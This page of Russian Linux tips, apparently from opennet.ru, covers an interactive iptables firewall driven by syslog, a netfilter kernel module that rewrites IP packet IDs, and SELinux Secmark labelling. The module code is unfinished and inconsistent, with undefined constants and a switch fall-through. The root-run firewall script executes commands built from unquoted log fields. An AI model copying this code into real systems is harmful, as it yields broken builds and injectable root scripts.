(194.85.40.81) 1.456 ms 9 vuztc.spb.runnet.ru (194.190.255.170) 1.987 ms 10 opennet.ru (77.234.201.242) 2.395 ms root@laptus:~# traceroute -q 1 -I opennet.ru traceroute to opennet.ru (77.234.201.242), 30 hops max, 60 byte packets 1 192.168.1.1 (192.168.1.1) 0.094 ms 2 10.140.48.1 (10.140.48.1) 0.751 ms 3 10.140.0.1 (10.140.0.1) 1.277 ms 4 border.yournet.ru (91.204.148.17) 2.061 ms 5 alisa.yournet.ru (91.204.151.2) 2.911 ms 6 sev-gw.yournet.ru (91.204.148.2) 6.770 ms 7 bl16-1-gw.spb.runnet.ru (194.190.255.25) 3.622 ms 8 bl16-1-gw.spb.runnet.ru (194.85.40.170) 5.262 ms 9 s14-1-gw.spb.runnet.ru (194.85.40.81) 4.135 ms 10 vuztc.spb.runnet.ru (194.190.255.170) 4.710 ms 11 opennet.ru (77.234.201.242) 7.220 ms
  •  
    ----* Интерактивный firewall в Linux   Автор: tux2002  [комментарии]
     
    Linux обладает отличными средствами фильтрации сетевого трафика, но обычно в
    нём строят статический firewall. В данной статье я опишу идею и реализацию
    интерактивного firewall, который в случае подозрительной активности выводит
    пользователю окно с предложением блокирования трафика или игнорирования предупреждения.
    
    Рассмотрим следующую заготовку firewall, которую в дальнейшем можно обучать интерактивно:
    
    
       cat slackwall.initstate
       # Generated by iptables-save v1.4.10 on Sat Dec  3 21:42:46 2011
       *filter
       :INPUT ACCEPT [0:0]
       :FORWARD ACCEPT [0:0]
       :OUTPUT ACCEPT [0:0]
       :FIREWALL-INPUT - [0:0]
       :FIREWALL-FORWARD - [0:0]
       :FIREWALL-OUTPUT - [0:0]
       -A INPUT -m state --state INVALID -j REJECT --reject-with icmp-port-unreachable
       -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
       -A INPUT -p icmp -j ACCEPT
       -A INPUT -j FIREWALL-INPUTFIREWALL-INPUT
       -A INPUT -j LOG --log-prefix "FIREWALL-INPUT "
       -A INPUT -j REJECT --reject-with icmp-port-unreachable
       -A FORWARD -m state --state INVALID -j REJECT --reject-with icmp-port-unreachable
       -A FORWARD -p icmp -j ACCEPT
       -A FORWARD -p udp -m udp --dport 53 -j ACCEPT
       -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
       -A FORWARD -j FIREWALL-FORWARD
       -A FORWARD -j LOG --log-prefix "FIREWALL-FORWARD "
       -A FORWARD -j REJECT --reject-with icmp-port-unreachable
       -A OUTPUT -m state --state INVALID -j REJECT --reject-with icmp-port-unreachable
       -A OUTPUT -p icmp -j ACCEPT
       -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
       -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
       -A OUTPUT -j FIREWALL-OUTPUT
       -A OUTPUT -j LOG --log-prefix "FIREWALL-OUTPUT "
       -A OUTPUT -j REJECT --reject-with icmp-port-unreachable
       COMMIT
       # Completed on Sat Dec  3 21:42:46 2011
    
    В трёх основных цепочках мы сначала запрещаем обрывки соединений, потом
    разрешаем уже установленные соединения, DNS и ICMP трафик.
    Далее пакеты перенаправляются в одну из трёх обучаемых цепочек:
    
       FIREWALL-INPUT
       FIREWALL-OUTPUT
       FIREWALL-FORWARD
    
    откуда пакеты, для которых не нашлось правила возвращаются в одну из основных
    цепочек и ЛОГИРУЮТСЯ а затем отклоняются ПО УМОЛЧАНИЮ.
    В цепочке FIREWALL-OUTPUT для персонального firewall лучше держать только одно
    разрешающее правило для всего трафика, иначе обучение становится трудоёмким.
    
    Таким образом пакет в обучаемой цепочке шлибо обрабатывается с соответствующим
    решением, либо попадает в LOG firewall`а и отклоняется.
    
    То есть строки о "необученных пакетах" можно регулярно считывать, парсить,
    предлагать решение пользователю и вносить новые правила в обучаемые цепочки.
    
    Например если есть некий shell сценарий обработки SYSLOG, можно выполнить от рута:
    
       tail -n 1 -f /var/log/syslog | ./slackwall
      
    В данном примере обработчик - скрипт slackwall. Вот его текст:
    
       #!/bin/sh
       while read string
       do
          echo $string | grep FIREWALL > /dev/null || continue
          for token in $string
          do
              echo $token | grep "=" > /dev/null  && export $token
              echo $token | grep "FIREWALL" > /dev/null && export CHAIN=$token
          done
    
          [ -z "$IN" ] && unset SRC
    
          [ -z "$OUT" ] && unset DST
    
          HSRC=`host $SRC 2>/dev/null | grep "domain name pointer" | awk '{ print $5 }'`
          HDST=`host $DST 2>/dev/null | grep "domain name pointer" | awk '{ print $5 }'`
          echo $PROTO | grep "^[[:digit:]]*$" > /dev/null && unset DPT
          PROTO=`cat /etc/protocols | grep "[[:space:]]$PROTO[[:space:]]" | awk '{ print $1 }'`
          HPROTO=`cat /etc/services | grep -i "[[:space:]]$DPT/$PROTO"`
          HSRC=${HSRC:-$SRC}
          HDST=${HDST:-$DST}
          HPROTO=${HPROTO:-"$DPT/$PROTO"}
    
          unset IHSRC IHDST ISRC IDST IDPT IPROTO
    
          [ -z "$HSRC" ] || IHSRC="-s $HSRC"
          [ -z "$HDST" ] || IHDST="-d $HDST"
          [ -z "$SRC" ] || ISRC="-s $SRC"
          [ -z "$DST" ] || IDST="-d $DST"
          [ -z "$DPT" ] || IDPT="--dport $DPT"
          IPROTO="-p $PROTO"
    
          cat slackwall.userules | grep "iptables -A $CHAIN $IPROTO $IHSRC $IHDST $IDPT -j" \\
              && echo Alredy && continue
    
          cat slackwall.userules | grep "iptables -A $CHAIN $IPROTO $ISRC $IHDST $IDPT -j" \\
              && echo Alredy && continue
    
          cat slackwall.userules | grep "iptables -A $CHAIN $IPROTO $IDPT -j" \\
              && echo Alredy && continue
    
          unset COMMAND
          ACTION=6
          LANG=C xmessage -buttons BlockFQDN:1,BlockIP:2,AcceptFQDN:3,AcceptIP:4,BlockPortOnAllIP:5,Skip:6 \\
           -default Skip -timeout 15 "$HSRC => $HDST ($HPROTO)"
          ACTION=$?
    
          [ $ACTION == 0 ] && continue
          [ $ACTION == 1 ] && COMMAND="iptables -A $CHAIN $IPROTO $IHSRC $IHDST $IDPT -j REJECT"
          [ $ACTION == 2 ] && COMMAND="iptables -A $CHAIN $IPROTO $ISRC $IDST $IDPT -j REJECT"
          [ $ACTION == 3 ] && COMMAND="iptables -A $CHAIN $IPROTO $IHSRC $IHDST $IDPT -j ACCEPT"
          [ $ACTION == 4 ] && COMMAND="iptables -A $CHAIN $IPROTO $ISRC $IDST $IDPT -j ACCEPT"
          [ $ACTION == 5 ] && COMMAND="iptables -A $CHAIN $IPROTO $IDPT -j REJECT"
          [ $ACTION == 6 ] && continue
    
          $COMMAND
          [ "$?" == 0  ] && echo "$COMMAND" >> slackwall.userules
       done
    
    Он парсит строки SYSLOG и рисует на экране пользователя вопрос с помощью
    xmessage и затем добавляет правило в ядро и дублирует его в сценарий
    slackwall.userules, предназначенный для начальной инициализации firewall.
    
    Вот его начальное состояние:
    
       #!/bin/bash
       modprobe nf_conntrack
       modprobe nf_conntrack_amanda
       modprobe nf_conntrack_ftp
       modprobe nf_conntrack_h323
       modprobe nf_conntrack_irc
       modprobe nf_conntrack_netbios_ns
       modprobe nf_conntrack_netlink
       modprobe nf_conntrack_pptp
       modprobe nf_conntrack_proto_dccp
       modprobe nf_conntrack_proto_gre
       modprobe nf_conntrack_proto_sctp
       modprobe nf_conntrack_proto_udplite
       modprobe nf_conntrack_sane
       modprobe nf_conntrack_sip
       modprobe nf_conntrack_tftp
       modprobe xt_conntrack
       iptables -F FIREWALL-INPUT
       iptables -F FIREWALL-FORWARD
       iptables -F FIREWALL-OUTPUT
    
       iptables -A FIREWALL-OUTPUT -j ACCEPT
    
    Для начального запуска firewall нужно выполнить:
    
    1. Разрешаем руту рисовать на X сервере (выполняется от пользователя, остальное всё от рута)
    
       $xhost +localhost
    
    2. Загружаем неизменяемую часть firewall
    
       #cat slackwall.initstate | iptables-restore
    
    3. Загружаем пользовательские правила, в дальнейшем их можно отредактировать и
    перезапустить эту комманду
    
       #./slackwall.userules
    
    4. Запускаем скрипт обучения:
    
       #tail -n 1 -f /var/log/syslog | ./slackwall
    
    У меня это работает в таком виде на Slackware 13.37, Linux psc
    2.6.37.6-tinyslack Atom(TM) CPU D510   @ 1.66GHz GenuineIntel GNU/Linux.
    Ссылка на готовый пакет: https://sourceforge.net/projects/slackwall/
    
     
    ----* Создание модуля для iptables, изменяющего ID пакета (доп. ссылка 1)   Автор: xlise  [комментарии]
     
    Данная статья основывается на материале "Разработка Match-модуля для iptables
    своими руками" (http://www.linuxjournal.com/article/7184), но код работает на
    ядрах 2.6.20+.
    
    Мне потребовалось изменить ID IP пакетов, в интернете подходящей инструкции как
    это сделать на ядре 2.6.24 я не нашел, из-за этого решил написать, как удалось
    решить задачу.
    
    Для реализации задуманного нам понадобится написать модуль ядра, который будет
    выполнять проверку и модуль расширения для iptables, который будет работать с
    модулем ядра - создавать новые цепочки,
    использующие наш модуль, выводить информацию о критерии при выводе списка
    правил на экран, а также проверять корректность передаваемых модулю параметров.
    
    Сначала создадим общий заголовочный файл ipt_ID.h:
    
       #ifndef _IPT_ID_H
       #define _IPT_ID_H
    
       enum {
           IPT_ID_RAND = 0,
           IPT_ID_INC
       };
    
       #define IPT_ID_MAXMODE  IPT_ID_INC
    
       struct ipt_ID_info {
           u_int8_t        mode;
           u_int16_t       id;
       };
    
       #endif
    
    Теперь скопируем его в исходники netfilter в директорию
    linux/netfilter_ipv4/
    
    Далее рассмотрим модуль ядра ipt_ID.с.
    
       #include <linux/module.h>
       #include <linux/skbuff.h>
       #include <linux/ip.h>
       #include <net/checksum.h>
       #include <linux/random.h>
       #include <linux/netfilter/x_tables.h>
       #include <linux/netfilter_ipv4/ipt_ID.h>
    
       MODULE_AUTHOR("Xlise <demonxlise@gmail.com>");
       MODULE_DESCRIPTION("Xtables: IPv4 ID field modification target");
       MODULE_LICENSE("GPL");
       static int count=0;
       static struct iphdr l_iph[5];
       static unsigned int
       id_tg(struct sk_buff *skb, const struct net_device *in,
            const struct net_device *out, unsigned int hooknum,
            const struct xt_target *target, const void *targinfo)
       {
             struct iphdr *iph;
             const struct ipt_ID_info *info = targinfo;
             u_int16_t new_id;
             int i=0;
             if (!skb_make_writable(skb, skb->len))
                     return NF_DROP;
    
             iph = ip_hdr(skb);
    
             switch (info->mode) {
                     case IPT_ID_RAND:
                             get_random_bytes(&info->id, sizeof(info->id));
                             new_id = info->id;
                             break;
                     case IPT_ID_INC:
    
    
       while (i<5)
       {
       if (l_iph[i].daddr == iph->daddr)
           {
           new_id = l_iph[i].id + htons(1);
           l_iph[i].id = new_id;
           }
    
       else
           {new_id = iph->id;
           l_iph[count] = *iph;
           count++;
           if (count > 4)
              count = 0;
           }
       i++;
       }
                     default:
                             new_id = iph->id;
                             break;
             }
    
             if (new_id != iph->id) {
                     csum_replace2(&iph->check, iph->id,
                                               new_id);
                     iph->id = new_id;
             }
    
             return XT_CONTINUE;
       }
    
       static bool
       id_tg_check(const char *tablename, const void *e,
                  const struct xt_target *target, void *targinfo,
                  unsigned int hook_mask)
       {
             const struct ipt_ID_info *info = targinfo;
    
             if (info->mode > IPT_ID_MAXMODE) {
                     printk(KERN_WARNING "ipt_ID: invalid or unknown Mode %u\n",
                             info->mode);
                     return false;
             }
             if (info->mode != IPT_ID_SET && info->id == 0)
                     return false;
             return true;
       }
    
       static struct xt_target id_tg_reg __read_mostly = {
             .name           = "ID",
             .family         = AF_INET,
             .target         = id_tg,
             .targetsize     = sizeof(struct ipt_ID_info),
             .table          = "mangle",
             .checkentry     = id_tg_check,
             .me             = THIS_MODULE,
       };
    
       static int __init id_tg_init(void)
       {
             return xt_register_target(&id_tg_reg);
       }
    
       static void __exit id_tg_exit(void)
       {
             xt_unregister_target(&id_tg_reg);
       }
    
       module_init(id_tg_init);
       module_exit(id_tg_exit);
    
    Напишем Makefile для нашего модуля:
    
       obj-m := ipt_ID.o
       KDIR  := /lib/modules/$(shell uname -r)/build
       PWD   := $(shell pwd)
       $(MAKE) -C $(KDIR) M=$(PWD) modules
    
    добавим модуль в ядро
    
       insmod ipt_ID.ko
    
    Для создания модуля для iptables нам потребуются исходники для iptables-1.4.4
    
    Создадим файл libipt_ID.c
    
       #include <stdio.h>
       #include <string.h>
       #include <stdlib.h>
       #include <getopt.h>
       #include <xtables.h>
       #include <linux/netfilter_ipv4/ipt_ID.h>
    
       #define IPT_ID_USED     1
    
       static void ID_help(void)
       {
           printf(
       "ID target options\n"
       "  --id-rand value              Set ID to \n"
       "  --id-inc value               Increment ID by \n");
       }
    
       static int ID_parse(int c, char **argv, int invert, unsigned int *flags,
                        const void *entry, struct xt_entry_target **target)
       {
           struct ipt_ID_info *info = (struct ipt_ID_info *) (*target)->data;
           u_int16_t value;
    
           if (*flags & IPT_ID_USED) {
                   xtables_error(PARAMETER_PROBLEM,
                                   "Can't specify ID option twice");
           }
    
           if (!optarg)
                   xtables_error(PARAMETER_PROBLEM,
                                   "ID: You must specify a value");
    
           if (xtables_check_inverse(optarg, &invert, NULL, 0))
                   xtables_error(PARAMETER_PROBLEM,
                                   "ID: unexpected `!'");
    
           if (!xtables_strtoui(optarg, NULL, &value, 0, UINT16_MAX))
                   xtables_error(PARAMETER_PROBLEM,
                              "ID: Expected value between 0 and 255");
    
           switch (c) {
    
                   case '1':
                           info->mode = IPT_ID_RAND;
                           break;
    
                   case '2':
                           if (value == 0) {
                                   xtables_error(PARAMETER_PROBLEM,
                                           "ID: increasing by 0?");
                           }
    
                           info->mode = IPT_ID_INC;
                           break;
    
                   default:
                           return 0;
    
           }
    
           info->id = value;
           *flags |= IPT_ID_USED;
    
           return 1;
       }
    
       static void ID_check(unsigned int flags)
       {
           if (!(flags & IPT_ID_USED))
                   xtables_error(PARAMETER_PROBLEM,
                                   "TTL: You must specify an action");
       }
    
       static void ID_save(const void *ip, const struct xt_entry_target *target)
       {
           const struct ipt_ID_info *info =
                   (struct ipt_ID_info *) target->data;
    
           switch (info->mode) {
                   case IPT_ID_SET:
                           printf("--id-set ");
                           break;
                   case IPT_ID_DEC:
                           printf("--id-dec ");
                           break;
    
                   case IPT_ID_INC:
                           printf("--id-inc ");
                           break;
           }
           printf("%u ", info->id);
       }
    
       static void ID_print(const void *ip, const struct xt_entry_target *target,
                         int numeric)
       {
           const struct ipt_ID_info *info =
                   (struct ipt_ID_info *) target->data;
    
           printf("ID ");
           switch (info->mode) {
                   case IPT_ID_SET:
                           printf("set to ");
                           break;
                   case IPT_ID_DEC:
                           printf("decrement by ");
                           break;
                   case IPT_ID_INC:
                           printf("increment by ");
                           break;
           }
           printf("%u ", info->id);
       }
    
       static const struct option ID_opts[] = {
           { "id-set", 1, NULL, '1' },
           { "id-inc", 1, NULL, '2' },
           { .name = NULL }
       };
    
       static struct xtables_target id_tg_reg = {
           .name           = "ID",
           .version        = XTABLES_VERSION,
           .family         = NFPROTO_IPV4,
           .size           = XT_ALIGN(sizeof(struct ipt_ID_info)),
           .userspacesize  = XT_ALIGN(sizeof(struct ipt_ID_info)),
           .help           = ID_help,
           .parse          = ID_parse,
           .final_check    = ID_check,
           .print          = ID_print,
           .save           = ID_save,
           .extra_opts     = ID_opts,
       };
    
       void _init(void)
       {
           xtables_register_target(&id_tg_reg);
       }
    
    Далее скопируем файл ipt_ID.h в iptables-1.4.4/include/linux/netfilter_ipv4/ и
    файл libipt_ID.c в iptables-1.4.4/extensions/
    теперь скомпилируем iptables и скопируем файл
    iptables-1.4.4/extensions/libipt_ID.so в /lib/xtables/
    
    Теперь можно создавать цепочки в iptables
    
    пример:
    
       iptables -t mangle -A POSTROUTING -j ID --id-rand 1
    
    Будет выдавть всем пакетам случайные ID (единица в конце ничего не обозначает
    просто я не доделал модуль)
    
       iptables -t mangle -A POSTROUTING -j ID --id-inc 1
    
    Будет пакетам направленным на один IP присваивать ID постоянно увеличивая на
    единицу, может хранить в памяти пять таких цепочек (количество цепочек можно увеличить)
    
    P.S. Если кого интересует данная тема, то я доделаю статью и допишу модуль,
    просто пока всё работает и так не хочется ничего переделывать, но если нужно сделаю.
    
     
    ----* Совместное использование SELinux и iptables (доп. ссылка 1)   [комментарии]
     
    Используя утилиту Secmark можно организовать назначение в правилах iptables
    SELinux-меток для сетевых пакетов, примерно также как осуществляется назначение
    меток для локальных системных ресурсов. Подобное может использоваться для
    предотвращения доступа сторонних процессов, не находящихся под контролем
    SELinux, к определенному классу пакетов. Например, можно указать что запросы на
    80 порт (метка http_packet_t) может отправлять только определенный web-браузер
    (или процесс, имеющий SELinux-метку http_t) и никто иной.
    
    По умолчанию все сетевые пакеты снабжаются меткой unlabeled_t, а для всех
    подконтрольных процессов активируется правило, без ограничений разрешающее
    отправку и прием пакетов:
    
       allow MYDOMAIN unlabed_t:packet { send recv };
    
    При назначении меток для трафика при помощи Secmark разрешительная политика по
    отношению к unlabed_t может привести к тому, что в случае отключения пакетного
    фильтра или в момент его перезапуска, правила блокирования будут временно проигнорированы.
    
    Попытаемся отключить автоматическую установку метки unlabeled_t, которая
    назначается в Fedora Linux через SELinux-модуль unlabelednet. Если отключить
    данный набор SELinux-политик, то все подконтрольные SELinux приложения потеряют
    возможность отправлять и принимать пакеты с меткой unlabeled_t. Чтобы вернуть
    таким программам возможность работы в сети для них необходимо подготовить
    соответствующие SELinux-правила и пометить пакеты.
    
    
    Для усиления защиты ноутбука было решено подготовить простые SELinux-политики,
    запрещающие обращаться к внешним сетевым ресурсам всем системным сервисам,
    ограниченным при помощи SELinux. Всем программ, запущенные в рамках сессии
    пользователя, разрешено обращаться как ко внутренним, так и к внешним сетевым ресурсам.
    
    Подготовлено три политики доступа к сети:
    
    internal_packet_t: Iptables помечает меткой internal_packet_t все пакеты,
    отправленные в локальную сеть или приходящие на текущую машину из локальной сети;
    
    dns_external_packet_t: Iptables помечает меткой dns_external_packet_t все
    внешние обращения к DNS-серверам (udp/tcp порт 53);
    
    external_packet_t: Iptables помечает меткой external_packet_t все остальные
    пакеты, не подпадающие под первые два правила;
    
    
    Для упрощения генерации iptables-правил для назначения SELinux-меток был создан скрипт
    secmarkgen:
    
      #!/bin/sh -e
    
      init() {
      # This just tells iptables to apply the same label to incoming packets as it did on outgoing
        echo $IPTABLES -F -t security
        echo $IPTABLES -t security -A INPUT -m state --state ESTABLISHED,RELATED -j CONNSECMARK --restore
     
      # Apply a label even if its on another port but is related
        echo $IPTABLES -t security -A OUTPUT -m state --state ESTABLISHED,RELATED -j CONNSECMARK --restore
        echo 
        return
    
      }
    
      start() {
        # Create a chain for each class of packets we have.
        echo "$IPTABLES -t security -X $NAME 2> /dev/null"
        echo "$IPTABLES -t security -N $NAME"
      }
    
      fini() {
        # Label all other packets going internally to $TYPE:$MCS
        echo $IPTABLES -t security -A $NAME -j SECMARK --selctx system_u:object_r:$TYPE:$MCS
        echo $IPTABLES -t security -A $NAME -j CONNSECMARK --save
        echo $IPTABLES -t security -A $NAME -j ACCEPT
        echo 
      }
    
      setup_network() {
    
        if [ ! -z "$PORTS" ]; then
    	if [ ! -z "$NETWORK" ]; then
                # Send packets going to an $NET httpd to the $NAME chain
    	    echo $IPTABLES -A OUTPUT -t security -p $PROTOCOL -d $NETWORK --dport $PORTS -j $NAME
    	    echo $IPTABLES -A INPUT -t security -p $PROTOCOL -d $NETWORK --sport $PORTS -j $NAME
    	else
                # Send packets going to $PORTS httpd to the $NAME chain
    	    echo $IPTABLES -A OUTPUT -t security -p $PROTOCOL --dport $PORTS -j $NAME
    	    echo $IPTABLES -A INPUT -t security -p $PROTOCOL --sport $PORTS -j $NAME
    	fi
        elif [ ! -z "$NETWORK" ]; then
                # Send packets going to $PORT httpd to the $NAME chain
    	    echo $IPTABLES -A OUTPUT -t security -d $NETWORK -j $NAME
    	    echo $IPTABLES -A INPUT -t security -s $NETWORK -j $NAME
        else
    	echo $IPTABLES -A OUTPUT -t security -j $NAME
    	echo $IPTABLES -A INPUT -t security -j $NAME
        fi
      }
      usage() {
          	 $"""
      Usage: $0 -i
      Usage: $0 -T iptablescmd -P protocol -p port[:...] -N network[,...] -t selinux_type -m MCS NAME
      Usage: $0 -f NAME
      """
      }
    
      echo
      echo "#---------------"
      echo "# $0 $*"
      echo "#---------------"
      echo
      IPTABLES=iptables
      NAME=
      PORTS=
      MCS=s0
      NETWORK=
      TYPE=client_packet_t
      PROTOCOL=tcp
      FINISH=0
      START=0
      INIT=0
    
      while getopts "sfin:p:m:t:T:P:" i; do
        case "$i" in
    	i)
    	    INIT=1
    	    ;;
    	s)
    	    START=1
    	    ;;
    	f)
    	    FINISH=1
    	    ;;
    	P)
    	    PROTOCOL=$OPTARG
    	    ;;
    	T)
    	    IPTABLES=$OPTARG
    	    ;;
    	n)
    	    export NETWORK=$OPTARG
    	    ;;
    	t)
    	    export TYPE=$OPTARG
    	    ;;
    	p)
    	    export PORTS=$OPTARG
    	    ;;
    	m)
    	    export MCS=$OPTARG
    	    ;;
    	*)
    	    usage
    	    exit 1
      esac
      done
    
      # Init does not require a NAME
      if [ $INIT == 1 ]; then 
        init
        exit $?
      fi
    
      # Move out processed options from arguments
      shift $(( OPTIND - 1 ))
    
      NAME=$1
    
      if [ -z "$NAME" -o -z "$MCS" -o -z "$NAME" ]; then
    	usage
    	exit 1
      fi
    
      if [ $START == 1 ]; then 
        start
        exit $?
      fi
    
      if [ $FINISH == 1 ]; then 
        fini
        exit $?
      fi
    
      setup_network
    
    
    Скрипт можно запускать со следующими параметрами:
    
    Инициализируем secmark-метки:
       ./secmarkgen -i
    
    Определяем имя сети (имя Iptables-цепочки):
       ./secmarkgen -s INTERNAL
    
    
    Привязываем к созданной цепочке набор правил. Синтаксис команды:
       ./secmarkgen -T iptablescmd -P protocol -p port[:...] -N network[,...] -t selinux_type -m MCS NAME
    
    Например:
    
       ./secmarkgen -n 255.255.255.255,127/8,10.0.0.0/8,172.16.0.0/16,224/24,192.168/16 INTERNAL
    
    Для завершения формирования secmark-правил и их привязки к определенной
    SELinux-метке используется команда:
    
       ./secmarkgen -f NAME
    
    Например, 
    
       ./secmarkgen -f -t internal_packet_t INTERNAL
    
    в итоге будет сгенерирован примерно такой скрипт:
    
       #--------------------
       # ./secmarkgen -i
       #--------------------
       iptables -F -t security
    
       iptables -t security -A INPUT -m state --state ESTABLISHED,RELATED -j CONNSECMARK --restore
    
       iptables -t security -A OUTPUT -m state --state ESTABLISHED,RELATED -j CONNSECMARK --restore
    
       #--------------------
       # ./secmarkgen -s INTERNAL
       #--------------------
    
       iptables -t security -X INTERNAL 2> /dev/null
    
       iptables -t security -N INTERNAL
    
       #--------------------
       # ./secmarkgen -n 255.255.255.255,127/8,10.0.0.0/8,172.16.0.0/16,224/24,192.168/16 INTERNAL
       #--------------------
    
       iptables -A OUTPUT -t security -d 255.255.255.255,127/8,10.0.0.0/8,172.16.0.0/16,224/24,192.168/16 -j INTERNAL
    
       iptables -A INPUT -t security -s 255.255.255.255,127/8,10.0.0.0/8,172.16.0.0/16,224/24,192.168/16 -j INTERNAL
    
       #--------------------
       # ./secmarkgen -f -t internal_packet_t INTERNAL
       #--------------------
    
       iptables -t security -A INTERNAL -j SECMARK --selctx system_u:object_r:internal_packet_t:s0
    
       iptables -t security -A INTERNAL -j CONNSECMARK --save
    
       iptables -t security -A INTERNAL -j ACCEPT
    
    
    Для генерации iptables-правил для локальных приложений используется примерно
    такой скрипт (secmark_test.sh):
    
       ./secmarkgen -i
       ./secmarkgen -s INTERNAL
       ./secmarkgen -n 255.255.255.255,127/8,10.0.0.0/8,172.16.0.0/16,224/24,192.168/16 INTERNAL
       ./secmarkgen -f -t internal_packet_t INTERNAL
       ./secmarkgen -s DNS
       ./secmarkgen -P udp -p 53 DNS
       ./secmarkgen -P tcp -p 53 DNS
       ./secmarkgen -f -t dns_external_packet_t DNS
       ./secmarkgen -s EXTERNAL
       ./secmarkgen EXTERNAL
       ./secmarkgen -f -t external_packet_t EXTERNAL
       ./secmarkgen -T ip6tables -i
       ./secmarkgen -T ip6tables -s INTERNAL
       ./secmarkgen -T ip6tables -n FEC0::/10,::1/128,FF::/8,FE80::/10FC00::/7 INTERNAL
       ./secmarkgen -T ip6tables -f -t internal_packet_t INTERNAL
       ./secmarkgen -T ip6tables -s EXTERNAL
       ./secmarkgen -T ip6tables EXTERNAL
       ./secmarkgen -T ip6tables -f -t external_packet_t EXTERNAL
       
    Генерируем соответствующие iptables-правила:
    
       ./secmark_test.sh > /tmp/rules
    
    Устанавливать данные iptables-правила пока рано, вначале нужно определить
    соответствующие указанным меткам (*_packet_t) SELinux-политики, без которых
    использование данных меток в iptables приведет к выводу ошибки.
    
    Формируем файл с SELinux-политиками (secmark.te):
    
       policy_module(secmark, 1.0)
    
       gen_require('
    
          attribute domain;
    
          attribute sysadm_usertype;
    
          # Domains that a staff user could transition to
    
          attribute staff_usertype;
    
          attribute telepathy_domain;
    
          type ping_t;
    
          type vpnc_t;
    
          type ssh_t;
      
          type nsplugin_t;
    
          type mozilla_plugin_t;
    
          # System domains that want to talk to the external network
    
          type ntpd_t;
    
          type sssd_t;
    
       ')
    
       # Type Definitions
    
       attribute external_packet;
    
       type internal_packet_t;
    
       corenet_packet(internal_packet_t)
    
       type dns_external_packet_t, external_packet;
    
       corenet_packet(dns_external_packet_t)
    
       type external_packet_t, external_packet;
    
       corenet_packet(external_packet_t)
    
       # Allow Rules
    
       allow domain internal_packet_t:packet { recv send };
    
       allow sysadm_usertype external_packet:packet { recv send };
    
       allow staff_usertype external_packet:packet { recv send };
    
       allow vpnc_t external_packet:packet { recv send };
    
       allow ssh_t external_packet:packet { recv send };
    
       allow mozilla_plugin_t external_packet:packet { recv send };
    
       allow nsplugin_t external_packet:packet { recv send };
    
       allow telepathy_domain external_packet:packet { recv send };
    
       allow ping_t external_packet:packet { recv send };
    
       allow ntpd_t external_packet:packet { recv send };
    
       dontaudit sssd_t dns_external_packet_t:packet { recv send };
    
    
    Рассмотрим правила более подробно.
    Строка
    
       policy_module(secmark, 1.0)
    
    определяет имя модуля с политиками. 
    
    Далее следует список требований
    
       gen_require('
    
          attribute domain;
          ... 
          type sssd_t;
       ')
    
    При написании SELinux-политики необходимо сослаться на все типы и атрибуты,
    чтобы их можно было использовать в правилах. Подобные ссылки указываются в
    блоке gen_requires. Одновременно можно определить новые типы. Если один из
    определенных в gen_requires атрибутов или типов будет не определен в других
    частях правил, SELinux не активирует созданную политику. Например, атрибут
    staff_usertype предоставляется всем обслуживающим пользовательским процессам,
    sysadm_usertype присваивается всем процессам, используемым при
    администрировании, домен telepathy_domain охватывает все приложения, связанные
    с фреймворком telepathy.
    
    Далее, в файле следуют правила определения типов и групп. Создаем атрибут
    external_packet для группировки всех  правил, связанных с внешним трафиком.
    Также создаем интерфейс corenet_packet для ассоциации набора правил с пакетами.
    
       attribute external_packet;
       type internal_packet_t;
       corenet_packet(internal_packet_t)
       type dns_external_packet_t, external_packet;
       corenet_packet(dns_external_packet_t)
       type external_packet_t, external_packet;
       corenet_packet(external_packet_t)
      
    
    Далее указано правило, разрешающее всем процессам отправку и прием внутренних
    пакетов из локальной сети:
    
       allow domain internal_packet_t:packet { recv send };
    
    Следующее правило позволяет запускаемым администраторами программам отправлять
    и принимать пакеты из внешних сетей (вместо указания  xternal_packet_t в
    правиле фигурирует атрибут external_packet, который позволяет провести действие
    сразу над группой -  external_packet_t и dns_external_packet_t):
    
    
       allow sysadm_usertype external_packet:packet { recv send };
       allow staff_usertype external_packet:packet { recv send };
       allow vpnc_t external_packet:packet { recv send };
       allow ssh_t external_packet:packet { recv send };
       allow mozilla_plugin_t external_packet:packet { recv send };
       allow nsplugin_t external_packet:packet { recv send };
       allow telepathy_domain external_packet:packet { recv send };
       allow ping_t external_packet:packet { recv send };
    
    Для сервиса ntpd заведен отдельный тип ntp_external_packet_t:
    
       allow ntpd_t external_packet:packet { recv send };
    
    Для программы sssd запрещаем общение с системами за пределами приватной сети:
    
       dontaudit sssd_t dns_external_packet_t:packet { recv send };
    
    
    
    
    Теперь приступим к компиляции, установке и применению созданной SELinux-политики:
    
    Компилируем:
    
       make -f /usr/share/selinux/devel/Makefile
    
    Устанавливаем:
    
       semodule -i secmark.pp
    
    Активируем iptables-правила:
    
       sh /tmp/rules
    
    Сохраняем внесенные изменения:
    
       service iptables save
       service ip6tables save
    
    С этого момента каждому сетевому пакету присваивается одна из трех созданных
    SELinux-меток. Для отладки следует проследить за появлением avc-сообщений и при
    необходимости добавить исключения с использованием правил allow/dontaudit или
    расследовать причину появления непрошеного трафика.
    
     
    ----* Простой интерактивный firewall в Linux   Автор: tux2002  [комментарии]
     
    Недавно на форуме спрашивали есть ли интерактивный firewall в Linux и многие
    отвечали, что нет. Ниже  простая заготовка скрипта, следящего за событиями в
    логе, в случае подозрительной активности выводящего пользователю окно с
    предложением блокирования трафика или игнорирования предупреждения.
    
    1. Первоначальные настройки iptables:
    
       #iptables-save
       # Generated by iptables-save v1.4.7 on Fri Mar 11 15:15:29 2011
       *filter
       :INPUT DROP [137:16764]
       :FORWARD DROP [0:0]
       :OUTPUT DROP [10:708]
       -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
       -A INPUT -j LOG --log-prefix "firewall-INPUT "
       -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
       -A FORWARD -j LOG --log-prefix "firewall-FORWARD "
       -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
       -A OUTPUT -j LOG --log-prefix "firewall-OUTPUT "
       COMMIT
       # Completed on Fri Mar 11 15:15:29 2011
       # Generated by iptables-save v1.4.7 on Fri Mar 11 15:15:29 2011
       *nat
       :PREROUTING ACCEPT [48:6290]
       :POSTROUTING ACCEPT [0:0]
       :OUTPUT ACCEPT [6:396]
       COMMIT
       # Completed on Fri Mar 11 15:15:29 2011
    
